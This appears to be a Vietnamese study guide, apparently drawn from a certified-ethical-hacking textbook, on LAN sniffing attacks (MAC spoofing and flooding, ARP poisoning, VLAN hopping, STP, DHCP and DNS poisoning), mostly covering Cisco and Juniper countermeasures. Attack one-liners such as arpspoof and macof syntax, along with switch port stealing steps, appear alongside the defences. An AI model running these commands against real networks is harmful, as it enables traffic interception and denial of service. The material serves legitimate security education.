- Trên Windows: Người dùng có thể đổi địa chỉ MAC trong cài đặt (Network and Internet -> Ethernet Properties -> Advanced tab -> Network Address) hoặc bằng cách chỉnh sửa Windows Registry tại đường dẫn: `HKEY_LOCAL_MACHINE\textbackslash{}SYSTEM\textbackslash{}CurrentControlSet\textbackslash{}Contr` `e325-11ce-bfc1-08002be10318}`. Tại đây, tạo một giá trị chuỗi (String value) mới tên là `NetworkAddress` và nhập địa chỉ MAC mới. [Trang 1329]
  - **Các bước chi tiết thực hiện thay đổi địa chỉ MAC trên Windows 11:** Method 1: Thay đổi thông qua giao diện (Nếu NIC hỗ trợ clone MAC): Mở Control Panel, điều hướng tới Network and Internet -> Networking and Sharing Center. Nhấp vào Ethernet và sau đó chọn Properties trong cửa sổ Ethernet Status. Trong cửa sổ Ethernet Properties, nhấp vào nút Configure và chọn tab Advanced. Dư mục "Property", tìm và nhấp chọn Network Address (hoặc Locally Administered Address). Ở phía bên phải, dưới mục "Value", nhập địa chỉ MAC mới mà bạn muốn gán (lưu ý: không gõ dấu ":" ở giữa các số) và nhấp OK. Gõ lệnh ipconfig/all hoặc net config rdr trong command prompt để xác minh thay đổi. Khởi động lại hệ thống nếu cần. Method 2: Thay đổi thông qua Registry: Nhấn Win + R, gõ regedit để mở Registry Editor. Điều hướng tới: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4d36e972-e325-11ce-bfc1-08002be10318}. Tìm các sub-keys có 4 chữ số (0000, 0001, 0002...). Kiểm tra khóa "DriverDesc" bên trong để tìm đúng giao diện mạng mục tiêu. Nhấp chuột phải vào sub-key đó, tạo một giá trị chuỗi (String Value) mới tên là NetworkAddress. Nhập địa chỉ MAC mới vào trường "Value data" và nhấp OK. Disable và sau đó Re-enable (tắt và bật lại) giao diện mạng đó, hoặc khởi động lại hệ thống.
- Công cụ: MAC Address Changer, SMAC, TMAC, Change MAC Address, Mac Changer, AMC.
- Phòng ngừa: Sử dụng DHCP snooping binding table, Dynamic ARP Inspection, IP Source Guard, cấu hình Port Security trên switch, hoặc các chuẩn mã hóa như WPA3 và IEEE 802.1X.
  - **Retrieval of MAC Address (Truy xuất địa chỉ MAC):** Luôn truy xuất địa chỉ MAC trực tiếp từ card mạng (NIC) thay vì truy xuất từ Hệ điều hành (OS).
  - **AAA (Authentication, Authorization, and Accounting):** Sử dụng cơ chế máy chủ AAA để lọc các địa chỉ MAC.

- **Network Access Control (NAC):** Sử dụng hệ thống NAC để thực thi các chính sách bảo mật trên thiết bị truy cập mạng. Nó có thể kiểm tra các dấu hiệu MAC spoofing để ngăn chặn truy cập trái phép.
- **Rate Limiting and Traffic Analysis (Giới hạn tốc độ và phân tích lưu lượng):** Áp dụng trên thiết bị mạng để giúp giảm nhẹ hậu quả của MAC flooding.
- **Regular Network Audits (Kiểm toán mạng thường xuyên):** Thường xuyên kiểm toán mạng để tìm các thiết bị lạ, các luồng lưu lượng bất thường nhằm giảm thiểu rủi ro bị khai thác.

Các lệnh Cấu hình Port Security trên Switch Cisco (Để chống MAC Spoofing/Flooding) [Trang 1296 - 1298]:

- `interface <interface_id>`: Vào chế độ cấu hình giao diện.
- `switchport mode access`: Đặt cổng ở chế độ access (không thể cấu hình port security ở chế độ trunk/dynamic).
- `switchport port-security`: Kích hoạt port security.
- `switchport port-security maximum <1-3072>`: Giới hạn số lượng MAC an toàn tối đa cho phép trên cổng (Mặc định là 1).
- `switchport port-security violation {restrict | shutdown}`: Định nghĩa hành động khi có vi phạm. `restrict` sẽ chặn dữ liệu từ MAC lạ và gửi cảnh báo SNMP, `shutdown` sẽ tắt hẳn cổng.
  - Một vi phạm bảo mật (security violation) xảy ra khi: Khi một cổng được cấu hình là cổng an toàn (secure port), và số lượng địa chỉ MAC an toàn tối đa đã đạt đến giới hạn. Khi địa chỉ MAC của máy đang cố gắng truy cập cổng không khớp với bất kỳ địa chỉ MAC an toàn nào đã được xác định. Khi số lượng địa chỉ MAC an toàn tối đa trên cổng được thiết lập, các địa chỉ MAC an toàn có thể được thêm vào bảng địa chỉ (address table) theo ba cách: Bạn có thể cấu hình thủ công tất cả các địa chỉ MAC an toàn bằng lệnh cấu hình giao diện. Bạn có thể cho phép cổng cấu hình động (dynamically configure) các địa chỉ MAC an toàn của các thiết bị được kết nối. Bạn có thể cấu hình thủ công một số địa chỉ và cho phép các địa chỉ còn lại được cấu hình động.
- `switchport port-security mac-address sticky`: Kích hoạt tính năng "sticky", cho phép switch tự động học các địa chỉ MAC đang kết nối và ghi thẳng vào cấu hình đang chạy (running config).
- `switchport port-security limit rate invalid-source-mac`: Thiết lập giới hạn tỷ lệ (rate limit) cho các gói tin xấu.
- `switchport port-security mac-address <mac_address>`: Nhập thủ công một địa chỉ MAC an toàn cho giao diện.
- `show port-security address` (hoặc `show port-security address interface <interface_id>`): Lệnh kiểm tra và xác minh cấu hình port security.
- `switchport port-security aging time <phút>`: Đặt thời gian lão hóa (aging time) cho cổng an toàn (Ví dụ: aging time 2).
- `switchport port-security aging type inactivity`: Thiết lập loại lão hóa địa chỉ MAC an toàn là không hoạt động (inactivity).
- `snmp-server enable traps port-security trap-rate <số>`: Kiểm soát tốc độ tạo cảnh báo SNMP trap (Ví dụ: trap-rate 5).

ARP Spoofing / ARP Poisoning [Trang 1271, 1314 - 1326]:

- **Quá trình lấy địa chỉ MAC sử dụng ARP (The process of obtaining the MAC address using ARP):**
  - Máy nguồn tạo một gói tin yêu cầu ARP chứa địa chỉ MAC nguồn, IP nguồn và IP đích, sau đó gửi nó đến switch.

  - Khi nhận được gói tin, switch đọc địa chỉ MAC nguồn và tìm kiếm địa chỉ này trong bảng CAM của nó.
  - Switch cập nhật các mục nhập mới. Nếu không tìm thấy mục nhập nào, switch sẽ thêm địa chỉ MAC và cổng nhận tương ứng vào bảng CAM, sau đó phát sóng (broadcast) gói tin yêu cầu ARP vào mạng.
  - Mỗi thiết bị trong mạng nhận được gói tin yêu cầu ARP phát sóng và so sánh IP đích trong gói tin với IP của chính nó.
  - Chỉ hệ thống có IP khớp với IP đích mới trả lời bằng một gói tin ARP reply.
  - Thông điệp ARP reply sau đó được đọc bởi switch. Switch thêm mục nhập vào bảng MAC của nó và chuyển tiếp thông điệp đến máy đích (tức là máy đã gửi yêu cầu ARP ban đầu).
  - Hơn nữa, máy này cập nhật IP và MAC của máy đích vào bảng ARP của nó, và bây giờ quá trình giao tiếp có thể diễn ra.
  - *Ví dụ minh họa cách thức hoạt động của ARP:* Xét hai máy tính A (IP: 194.54.67.10, MAC: 00:1b:48:64:42:e4) và B (IP: 192.54.67.15, MAC: 00-14-20-01-23-47) trong cùng mạng. Nếu truy vấn của máy A được diễn đạt bằng ngôn ngữ giao tiếp đơn giản, nó sẽ như sau: *"Hello, who is 192.54.67.15? This is 194.54.67.10. My MAC address is 00:1b:48:64:42:e4. I need your MAC address."* Máy A gửi gói tin yêu cầu phát sóng (broadcast) này. Khi nhận được yêu cầu, máy B cập nhật bảng ARP cache của nó với thông tin của máy A, sau đó mới gửi lại gói tin ARP reply.

- Bởi vì giao thức ARP không giữ trạng thái (stateless) và không xác thực, một máy tính hoàn toàn có thể gửi gói ARP reply ngay cả khi không hề có ai hỏi.
- Kẻ tấn công gửi các gói ARP giả (forged) để liên kết địa chỉ MAC của chúng với địa chỉ IP của một host khác (thường là Default Gateway). Máy nạn nhân sẽ lưu mục sai lệch này vào bộ nhớ đệm (ARP cache), khiến toàn bộ lưu lượng bị chuyển hướng sang máy kẻ tấn công. Kỹ thuật này mở đường cho tấn công MITM (Man-in-the-Middle), DoS, VoIP Call Tapping và Session Hijacking.

Các mối đe dọa từ ARP Poisoning [Trang 1315 - 1316]:

- **Packet Sniffing:** Nghe lén toàn bộ lưu lượng mạng.
- **Session Hijacking:** Đánh cắp thông tin phiên hợp lệ để giành quyền truy cập trái phép.
- **VoIP Call Tapping:** Sử dụng port mirroring để bắt và ghi âm các cuộc gọi VoIP dựa theo địa chỉ MAC.
- **Manipulating Data (Thao túng dữ liệu):** Sửa đổi dữ liệu trên đường truyền hoặc chặn lưu lượng.
- **Man-in-the-Middle Attack (MITM):** Kẻ tấn công đứng giữa nạn nhân và server để chặn bắt dữ liệu.
- **Data Interception:** Đánh chặn IP, MAC và VLAN trong mạng.
- **Connection Hijacking:** Chiếm quyền kiểm soát hoàn toàn kết nối của client.
- **Connection Resetting:** Buộc mục tiêu phải xóa ARP entry bằng cách thay đổi thông tin định tuyến sai, tạo DoS.
- **Stealing Passwords:** Đánh cắp tên người dùng và mật khẩu.
- **DoS Attack:** Gắn nhiều địa chỉ IP vào một địa chỉ MAC duy nhất, làm quá tải lưu lượng mục tiêu.
- Công cụ: `arpspoof`, Habu, `bettercap`, `Ettercap`, RITM, ARP Spoofer, `larp`.
  - **Cú pháp lệnh arpspoof:** `arpspoof -i [Interface] -t [Target Host]`
  - **Tính năng của Habu:** Là một toolkit hacking cung cấp nhiều lệnh để thực hiện các cuộc tấn công như: ARP poisoning và sniffing, DHCP discovery và starvation, Nhận diện Subdomain, Sao chép chứng chỉ (Certificate cloning), Phân tích TCP (ISN, flags), Kiểm tra Username trên mạng xã hội, và Nhận diện công nghệ Web. [Trang 1317 - 1318]

- Phòng ngừa: Triển khai Dynamic ARP Inspection (DAI), tính năng này kiểm tra tính hợp lệ của cặp IP-MAC dựa vào cơ sở dữ liệu DHCP snooping binding table. Nếu nhận thấy ARP reply không khớp, switch sẽ loại bỏ (discard) gói tin đó.
  - **Lập bản đồ tĩnh (Static Mapping):** Nếu các hệ thống máy chủ trong mạng sử dụng địa chỉ IP tĩnh, DHCP snooping sẽ không khả thi. Trong tình huống này, quản trị viên phải thực hiện ánh xạ tĩnh (static mapping) liên kết địa chỉ IP với địa chỉ MAC trên VLAN để ngăn chặn tấn công.
  - **Sử dụng các kịch bản tùy chỉnh (Custom Scripts):** Quản trị viên có thể triển khai phần mềm chạy các kịch bản tùy chỉnh để giám sát bảng ARP. Kịch bản này so sánh bảng ARP hiện tại với danh sách các cặp MAC/IP đã biết. Nếu có sự không khớp (mismatch), switch sẽ loại bỏ gói tin.

Cấu hình Dynamic ARP Inspection (DAI) trên Switch Cisco [Trang 1320 - 1324]:

- DAI phụ thuộc vào bảng DHCP snooping binding table để đối chiếu IP-MAC. Do đó, phải bật DHCP Snooping trước.
- Lệnh cấu hình:
  - `ip arp inspection vlan 10` (Bật kiểm tra ARP trên VLAN 10).
  - `show ip arp inspection` (Kiểm tra trạng thái DAI, xem thống kê các gói tin Forwarded / Dropped để phát hiện nếu đang bị tấn công).
  - **Để đạt được mức độ bảo mật cao hơn nữa, bạn có thể bật một hoặc nhiều kiểm tra xác thực bổ sung. Để làm điều này, hãy thực thi lệnh** `ip arp inspection validate` **theo sau là loại địa chỉ (address type).**
- Phát hiện: Capsa Portable Network Analyzer, Wireshark, OpUtils, netspionage, NetProbe, ARP-GUARD.

ICMP Router Discovery Protocol (IRDP) Spoofing [Trang 1332 - 1333]:

- Giao thức IRDP cho phép host phát hiện IP của các router đang hoạt động trên subnet. Vì không yêu cầu xác thực, kẻ tấn công có thể gửi đi các thông báo quảng bá router giả mạo (spoofed router advertisement). Chúng thiết lập mức độ ưu tiên (preference level) và thời gian sống (lifetime) cao để buộc nạn nhân chọn router giả mạo đó làm đường dẫn mặc định (default route). Kỹ thuật này cho phép MitM, DoS và passive sniffing.
- Phòng ngừa: Vô hiệu hóa IRDP trên các máy chủ.

6. VLAN Hopping [Trang 1334 - 1335]

Kỹ thuật này cho phép kẻ tấn công vượt qua các giới hạn phân đoạn mạng (network segmentation controls) để truy cập trái phép vào các tài nguyên nằm ở các VLAN khác. Có 2 phương pháp chính:

- **Switch Spoofing** [Trang 1334]:
  - Kẻ tấn công kết nối một switch giả (rogue switch) vào mạng và đánh lừa switch hợp lệ để thiết lập một đường trục (trunk link). Cuộc tấn công chỉ thành công khi giao diện của switch hợp lệ đang được cấu hình ở chế độ `dynamic auto`, `dynamic desirable`, hoặc `trunk`.
  - **Lệnh phòng ngừa Switch Spoofing (Cisco) [Trang 1341]:**
    * `switchport mode access` (Cấu hình cứng thành cổng truy cập).
    * `switchport mode nonegotiate` (Vô hiệu hóa hoàn toàn DTP để cấm tự đàm phán trunk).
- **Double Tagging** [Trang 1335]:

- Kẻ tấn công chèn và sửa 2 thẻ 802.1Q (outer/inner tag) vào trong frame Ethernet. Thẻ ngoài (outer tag) là native VLAN của kẻ tấn công, thẻ trong (inner tag) là VLAN đích. Khi switch đầu tiên nhận được, nó sẽ gỡ bỏ thẻ ngoài (do trùng với native VLAN) và chuyển tiếp frame mang thẻ trong tới các cổng trunk, cho phép kẻ tấn công tiếp cận VLAN không mong muốn. Khai thác này chỉ có tác dụng nếu cổng switch được cấu hình dùng native VLANs.
- **Lệnh phòng ngừa Double Tagging (Cisco) [Trang 1341]:**
  * `switchport access vlan <unused_id>` (Đảm bảo VLAN mặc định là VLAN không sử dụng).
  * `switchport trunk native vlan 999` (Đổi native VLAN trên các cổng trunk sang một ID không dùng).
  * `vlan dot1q tag native` (Bắt buộc phải đánh tag cho mọi native VLAN).
  * **Các biện pháp phòng ngừa Double Tagging bổ sung:**
    · Use Private VLANs: Cấu hình Private VLANs để cô lập các cổng với nhau trên cùng một VLAN.
    · Regularly Audit and Monitor VLAN Configurations: Thực hiện kiểm toán thường xuyên hệ thống VLAN và cấu hình switch để đảm bảo tuân thủ chính sách bảo mật.

7. STP Attack (Tấn công Spanning Tree Protocol) [Trang 1336 - 1337]

- Giao thức STP dùng để loại bỏ vòng lặp mạng (loops) bằng cách bầu chọn ra một "root bridge" dựa trên thông điệp BPDU. Mặc định, giá trị ưu tiên của cầu nối (Bridge Priority) là 32769.
- Kẻ tấn công cắm một rogue switch vào mạng và cấu hình mức priority thấp hơn bất kỳ switch nào khác (ví dụ Priority = 0). Điều này khiến rogue switch lập tức chiếm vị trí root bridge, ép mọi lưu lượng mạng phải định tuyến đi qua máy của kẻ tấn công để bề dễ bề nghe lén.
- **Phòng ngừa** [Trang 1343 - 1344]:
  - **BPDU Guard**: Nếu cổng truy cập nhận được BPDU, nó sẽ lập tức bị khóa (đưa vào trạng thái errdisable).
  - **Root Guard**: Bảo vệ vị trí root bridge, nếu nhận được BPDU có mức ưu việt hơn, nó sẽ đưa cổng đó vào trạng thái loop inconsistent để chặn quyền cướp root.
  - **Loop Guard / UDLD (Unidirectional Link Detection)**: Phát hiện liên kết lỗi và chống lại các vòng lặp định tuyến do sự cố chuyển đổi STP.

Các lệnh cấu hình phòng ngừa STP Attack (Cisco) [Trang 1343 - 1344]:

- Bật BPDU Guard: `spanning-tree portfast bpduguard` (Cấu hình ở interface level).
- Bật Root Guard: `spanning-tree guard root` (Cấu hình ở interface level).
- Bật Loop Guard: `spanning-tree guard loop`.
- Bật UDLD: `udld { enable | disable | aggressive }`.
  - **Các biện pháp phòng ngừa STP Attack bổ sung:**
    * Deploy PortFast: Áp dụng PortFast cho tất cả các cổng truy cập (access ports) để giảm thời gian chờ đợi (listening) và học (learning) trạng thái STP. Tuy nhiên, phải đảm bảo BPDU Guard được bật kèm theo.
    * Regularly update and patch network devices: Thường xuyên cập nhật phần mềm/firmware cho thiết bị mạng.

* Restrict network access: Giới hạn quyền truy cập vật lý vào các cổng mạng và thiết bị để ngăn chặn thay đổi cấu hình trái phép.
* Network segmentation: Phân đoạn mạng để giới hạn phạm vi tấn công STP bằng cách chia các miền quảng bá (broadcast domains) lớn thành các đoạn nhỏ, dễ quản lý hơn.

8. Thiết bị phân tích giao thức phần cứng (Hardware Protocol Analyzers / Sniffers) [Trang 1279 - 1280]

Thiết bị phân tích giao thức phần cứng là công cụ chụp và diễn dịch các tín hiệu đi qua mạng mà không làm thay đổi phân đoạn lưu lượng. Chúng có khả năng chụp dữ liệu lớn không bị rớt gói tin và theo dõi chính xác các sự kiện ở mức vật lý.

- **Xgig 1000 32/128 G FC & 25/50/100 GE Analyzer**: Là nền tảng phần cứng cung cấp các tính năng chụp và phân tích nội tuyến, không xâm nhập (inline, non-intrusive capture) và chèn lỗi nội tuyến (inline jamming). Hỗ trợ các tính năng vượt trội ở tầng vật lý OSI như tự động đàm phán (auto negotiation), đào tạo liên kết (link training) và sửa lỗi chuyển tiếp (forward error correction - FEC).
- **SierraNet M1288**: Nền tảng kiểm tra Ethernet và Fiber Channel (fiber channel fabrics analyzer), cung cấp khả năng tạo, chụp và phân tích lưu lượng với bộ đệm ghi lên đến 128G/256G, cấp phát bộ nhớ động.
- *(Bổ sung thêm các công cụ từ nguồn)*: PTW60, P5551A PCIe 5.0 Protocol Exerciser, Voyager M4x, N2X N5540A Agilent Protocol Analyzer, Xgig 16-Lane PCI Express 4.0 Chassis.

9. SPAN port [Trang 1281]

SPAN (Switched Port Analyzer), còn gọi là port mirroring (phản chiếu cổng), là một tính năng của switch Cisco giám sát lưu lượng trên một hoặc nhiều cổng. Nếu kẻ tấn công kết nối vào cổng SPAN, chúng có thể thu được toàn bộ bản sao gói tin (mirrored) truyền qua switch và đe dọa/thỏa hiệp toàn bộ mạng.

10. Nghe lén đường dây (Wiretapping / Telephone Tapping) [Trang 1282 - 1283]

Wiretapping là hành vi bên thứ ba giám sát các cuộc gọi điện thoại hoặc Internet bằng thiết bị phần cứng/phần mềm với mục đích mờ ám.

Các phương pháp:

- Ghi âm đường dây chính thức (The official tapping) hoặc không chính thức (The unofficial tapping).
- Ghi âm cuộc gọi (Recording the conversation).
- Direct line wiretap (Nghe lén đường dây trực tiếp).
- Radio wiretap (Nghe lén qua sóng radio).

Phân loại:

- **Tapping kiểu chủ động (Active wiretapping)**: Là hình thức tấn công MITM. Kẻ tấn công không chỉ giám sát, ghi lại mà còn sửa đổi hoặc tiêm (inject) dữ liệu vào luồng giao tiếp.
- **Tapping kiểu thụ động (Passive wiretapping)**: Là hành vi snooping hoặc eavesdropping. Kẻ tấn công chỉ quan sát luồng dữ liệu để đánh cắp mật khẩu hoặc thông tin khác.

(Bổ sung từ nguồn) **Đánh chặn hợp pháp (Lawful Interception - LI)** [Trang 1282-1283]: Thực thi bởi cơ quan pháp luật (LEAs) thông qua nhà cung cấp dịch vụ (Telco/ISP) sử dụng hệ thống E-Detective (ED) và Centralized Management Server (CMS) để giám sát các hoạt động bất hợp pháp.

11. Switch Port Stealing và MAC Flooding [Trang 1290 - 1292]

- **MAC Flooding** [Trang 1290]: Làm tràn bảng CAM bằng địa chỉ MAC giả, ép switch hoạt động như một hub (fail-open mode) để dễ dàng bắt gói tin.
  - Ví dụ lệnh công cụ: Kẻ tấn công sử dụng `macof -i eth0 -n 10` (một phần của bộ `dsniff`) để gửi khoảng 131.000 địa chỉ MAC và IP giả ngẫu nhiên mỗi phút.
- **Switch port stealing (Đánh cắp cổng switch)** [Trang 1292]: Sử dụng MAC flooding kết hợp gửi các gói ARP giả mạo (gratuitous ARP) lấy MAC của nạn nhân làm nguồn và MAC kẻ tấn công làm đích. Quá trình này tạo ra điều kiện tranh chấp (race condition), khiến switch cập nhật MAC của nạn nhân vào cổng của kẻ tấn công, từ đó kẻ tấn công chiếm giữ port và nhận mọi dữ liệu của nạn nhân.
  - **Ví dụ các bước thực hiện Đánh cắp cổng switch (Switch port stealing steps):**
    1. Máy của kẻ tấn công chạy một sniffer, chuyển card mạng (NIC) sang chế độ promiscuous.
    2. Host A (10.0.0.1) muốn giao tiếp với Host B (10.0.0.2). Vì vậy, Host A gửi một yêu cầu ARP.
    3. Switch phát sóng (broadcasts) yêu cầu ARP này đến tất cả các máy trong mạng.
    4. Trước khi Host B (máy mục tiêu) kịp trả lời yêu cầu ARP, kẻ tấn công sẽ phản hồi bằng một thông điệp ARP reply chứa địa chỉ IP và MAC giả mạo ("Tôi là 10.0.0.2, và MAC của tôi là MAC_C"). Kẻ tấn công có thể đạt được điều này bằng cách tung ra một cuộc tấn công DoS vào Host B, làm nó chậm lại.
    5. Lúc này, ARP cache trong switch sẽ ghi nhận cặp MAC và IP bị giả mạo.
    6. Địa chỉ MAC giả mạo của Host B được kết nối với cổng của máy kẻ tấn công (Port C), qua đó cập nhật bảng CAM của switch. Một kết nối được thiết lập giữa Host A và máy kẻ tấn công.
    7. Bây giờ, hệ thống sẽ chuyển tiếp tất cả các gói tin hướng tới Host B sang Host C (máy kẻ tấn công).
    8. Do đó, kẻ tấn công có thể nghe lén (sniff) các gói tin được gửi tới Host B.

Các thông điệp và Định dạng gói tin DHCP (DHCP Request/Reply Messages & Packet Format) [Trang 1300 - 1302]:

Quá trình giao tiếp DHCP sử dụng nhiều loại tin nhắn (IPv4/IPv6):

- **DHCPDiscover / Solicit:** Client phát sóng để tìm máy chủ DHCP.
- **DHCPOffer / Advertise:** Máy chủ gửi lại cấu hình IP đề xuất cho client.
- **DHCPRequest / Request, Confirm, Renew, Rebind:** Client phản hồi yêu cầu nhận tham số được cấp, hoặc xin gia hạn IP.
- **DHCPAck / Reply:** Máy chủ xác nhận và chính thức cấp IP cho client.
- **DHCPRelease / Release:** Client báo máy chủ thu hồi IP, hủy lease.
- **DHCPDecline / Decline:** Client thông báo IP được cấp đã có máy khác sử dụng.
- **DHCPInform / Information Request:** Client (đã có IP) chỉ xin máy chủ cấp thêm các tham số cấu hình cục bộ (như DNS, Gateway).
- **DHCPNAK:** Máy chủ từ chối yêu cầu của client (do IP sai subnet hoặc hết hạn).
- **Reconfigure:** Máy chủ thông báo cho client rằng nó có các cài đặt cấu hình mới hoặc được cập nhật. Client sau đó sẽ gửi yêu cầu gia hạn/trả lời để nhận thông tin.
- **Relay-Forward:** Relay agent gửi thông điệp chuyển tiếp (relay-forward) để đưa gói tin tới các máy chủ (trực tiếp hoặc qua một relay agent khác).

- **Relay-Reply:** Máy chủ gửi thông điệp trả lời (relay-reply) tới relay agent, chứa thông tin để agent này giao lại cho client.

Cấu trúc trường gói tin IPv4 DHCP (IPv4 DHCP Packet Format):

- **Opcode (1 byte):** 1 = Message từ client, 2 = Message từ server.
- **Transaction ID (XID) (4 bytes):** Số ngẫu nhiên client tạo ra để khớp request với reply.
- **Client IP Address (CIADDR) (4 bytes):** Dùng khi client đã có IP và đang phản hồi.
- **Your IP Address (YIADDR) (4 bytes):** IP do DHCP server cấp cho client.
- **Client Hardware Address (CHADDR) (16 bytes):** Địa chỉ MAC của client.
- **Hardware Address Type (1 byte):** Loại địa chỉ phần cứng do IANA định nghĩa (Ví dụ "1" = 10 Mb Ethernet).
- **Hardware Address Length (1 byte):** Độ dài địa chỉ phần cứng (tính bằng octet).
- **Hops (1 byte):** Thường được client gán bằng "0"; tuy nhiên tùy chọn này dùng để đếm số lượng relay agents mà thông điệp đã đi qua.
- **Seconds (2 bytes):** Số giây trôi qua kể từ khi client bắt đầu quá trình xin cấp IP hoặc gia hạn.
- **Flags (2 bytes):** Các cờ do client thiết lập (ví dụ nếu client không thể nhận datagram unicast IP, cờ broadcast sẽ được bật).
- **Server IP Address (SIADDR) (4 bytes):** IP của máy chủ DHCP.
- **Gateway IP Address (GIADDR) (4 bytes):** IP của DHCP relay agent.
- **Server Name (SNAME) (64 bytes):** Tên hostname của máy chủ (Tùy chọn).
- **File Name (128 bytes):** Tên file chứa boot image của BOOTP client.
- **DHCP Options (Variable):** Các tùy chọn cấu hình bổ sung của DHCP.

12. Tấn công DHCP (DHCP Attacks) [Trang 1303 - 1309]

- **DHCP starvation (Tấn công cạn kiệt DHCP)** [Trang 1303]: Kẻ tấn công gửi số lượng lớn các request chứa MAC giả mạo (spoofed MACs) tới DHCP server để làm cạn kiệt (exhaust) pool địa chỉ IP. Kết quả là server không thể cấp cấu hình cho các client mới, gây ra từ chối dịch vụ (DoS).
  - Công cụ: Yersinia, `dhcpStarvation.py`, Metasploit, Hyenae, DHCPig, Gobbler.
  - **Yersinia:** Là một công cụ mạng được thiết kế để lợi dụng các điểm yếu trong các giao thức mạng khác nhau như DHCP. Nó đóng vai trò như một framework vững chắc để phân tích và kiểm tra các hệ thống, mạng lưới đã được triển khai.
  - Phòng ngừa [Trang 1307]: Bật Port security (lệnh `switchport port-security`) để giới hạn MAC; dùng DHCP filtering.
  - *Cơ chế bảo vệ DHCP Starvation bằng Port Security:* Việc bật port security giúp thiết lập giới hạn số lượng địa chỉ MAC tối đa trên cổng của switch. Khi vượt quá giới hạn này, switch sẽ tự động loại bỏ (drop) các yêu cầu địa chỉ MAC tiếp theo (các gói tin) đến từ các nguồn bên ngoài, qua đó bảo vệ an toàn cho máy chủ DHCP khỏi bị cạn kiệt tài nguyên.
- **Rogue DHCP server attack (Tấn công máy chủ DHCP giả mạo)** [Trang 1305]: Là dạng tấn công MITM. Kẻ tấn công dựng một DHCP server giả. Do server giả này trả gói (DHCPOFFER) về trước server hợp lệ, client sẽ lấy cấu hình từ nó. Kẻ tấn công có thể gán default gateway hoặc máy chủ DNS độc hại cho client để điều hướng lưu lượng.

  - Hạn chế [Trang 1306]: Bật DHCP Snooping, thiết lập cổng nối tới server hợp lệ là Trusted, và đánh dấu interface kết nối tới rogue DHCP là Untrusted để chặn tin nhắn.

Các lệnh cấu hình bảo vệ DHCP trên Switch Cisco & Juniper [Trang 1307 - 1311]:

- **Bật DHCP Snooping (Cisco):** `ip dhcp snooping` (bật toàn cầu). `ip dhcp snooping vlan <số vlan>` (bật trên VLAN cụ thể). `ip dhcp snooping trust` (cấu hình cổng kết nối tới DHCP server thật là cổng đáng tin cậy). `ip dhcp snooping limit rate <số>` (giới hạn gói tin DHCP mỗi giây để chống DoS/Starvation).
  - `no ip dhcp snooping information option`: Lệnh bổ sung dùng để vô hiệu hóa việc chèn và xóa trường option-82 trong các gói tin DHCP. [Trang 1309]
  - **Cấu hình chi tiết DHCP Snooping trên Switch Cisco:**
    * Cấu hình DHCP snooping ở chế độ global: `Switch(config)# ip dhcp snooping`
    * Cấu hình DHCP snooping cho một VLAN cụ thể: `Switch(config)# ip dhcp snooping vlan 10`
    * *Lưu ý:* Nếu switch chỉ hoạt động ở layer 2, bạn phải áp dụng lệnh `ip dhcp snooping trust` lên các giao diện layer 2 để chỉ định (designate) các uplink interfaces đó là cổng đáng tin cậy.
    * Bảng liên kết DHCP snooping (DHCP snooping binding table) sẽ chứa thông tin các máy khách DHCP đáng tin cậy cùng IP tương ứng của chúng. Để xem bảng này, thực thi lệnh: `Switch(config)# show ip dhcp snooping binding`. Kết quả sẽ hiển thị các trường: MAC Address, IP Address, Lease (sec), Type, VLAN, và Interface.
- **MAC Limiting trên Switch Juniper (Chống Starvation):**
  - Bước 1: Chạy lệnh sau để cấu hình giới hạn MAC là 3 trên giao diện ge-0/0/1 của thiết bị đầu tiên và chỉ định hành động hủy gói tin nếu vượt quá giới hạn: `set interface ge-0/0/1 mac-limit 3 action drop`
  - Bước 2: Chạy lệnh tương tự để cấu hình giới hạn MAC là 3 trên giao diện ge-0/0/2 của thiết bị thứ hai: `set interface ge-0/0/2 mac-limit 3 action drop`
  - Bước 3: Thực thi lệnh show (ví dụ: `show interface ge-0/0/1.0 { mac-limit 3 action drop; }`) để xem lại kết quả cấu hình giới hạn MAC vừa thiết lập.
  - Bước 4: Chạy lệnh `show ethernet-switching table` để xác minh quá trình giới hạn MAC đang hoạt động trên switch.
- **Bật DHCP Filtering toàn cầu cho switch (Juniper):**
  - `config`
  - `<IP address> dhcp filtering`
  - `exit`
  - `exit`
- **DHCP Filtering (Juniper):** `config` → `interface 0/11` → `<IP address> dhcp filtering trust` (Chỉ định cổng tin cậy nhận gói DHCP).
  - **Các lệnh kiểm tra trạng thái DHCP (Show Commands):**
    * `show ip dhcp snooping`: Lệnh trên switch Cisco để hiển thị tất cả các VLAN đang bật tính năng DHCP snooping.
    * `show ethernet-switching table`: Lệnh trên switch Juniper để xác minh quá trình giới hạn MAC (MAC limiting process).
    * `show <IP address> dhcp filtering`: Lệnh trên switch Juniper để xem cấu hình DHCP filtering.

  - Công cụ: `mitm6`, Ettercap, Gobbler.

13. Các kỹ thuật DNS poisoning [Trang 1345 - 1353]

Mục đích là thay thế địa chỉ IP hợp pháp tại DNS level bằng IP độc hại để chuyển hướng nạn nhân.

- **Intranet DNS spoofing** [Trang 1347]: Kết hợp với kỹ thuật ARP poisoning trên mạng cục bộ (LAN switch) để chặn và thay đổi các phản hồi DNS từ router trước khi gửi cho client.
- **Internet DNS spoofing** [Trang 1349]: Gọi là Remote DNS poisoning. Kẻ tấn công dựng rogue DNS server và dùng Trojan lây nhiễm vào máy nạn nhân để thay đổi cài đặt IP DNS cục bộ trỏ về server độc hại.
- **Proxy server DNS poisoning** [Trang 1350]: Kẻ tấn công gửi Trojan để thay đổi cấu hình proxy server trong trình duyệt Internet của người dùng (ví dụ: Internet Explorer) trỏ về proxy của kẻ tấn công.
- **DNS cache poisoning** [Trang 1351-1352]: Thêm hoặc sửa bản ghi DNS giả (forged DNS records) trực tiếp trên bộ nhớ đệm (cache) của resolver.
  - *(Bổ sung)* **SAD DNS attack**: Biến thể mới, kẻ tấn công tiêm mã độc vào bộ đệm bằng cách khai thác các kênh phụ (side channels) và phần mềm DNS cũ như `dnsmasq`, `unbound`.
- Công cụ [Trang 1352-1353]: DerpNSpoof, deserter, PolarDNS, Ettercap, Evilgrade, DNS Goisoner. **Danh sách các biện pháp phòng ngừa DNS Spoofing chi tiết [Trang 1354 - 1355]:**
- Triển khai Domain Name System Security Extensions (DNSSEC).
- Sử dụng Secure Socket Layer (SSL) để bảo mật lưu lượng.
- Giải quyết mọi truy vấn DNS về một máy chủ DNS cục bộ.
- Chặn (Block) các yêu cầu DNS gửi ra máy chủ bên ngoài (external servers).
- Cấu hình firewall để hạn chế việc tra cứu DNS bên ngoài.
- Triển khai Hệ thống phát hiện xâm nhập (IDS) và cấu hình chính xác.
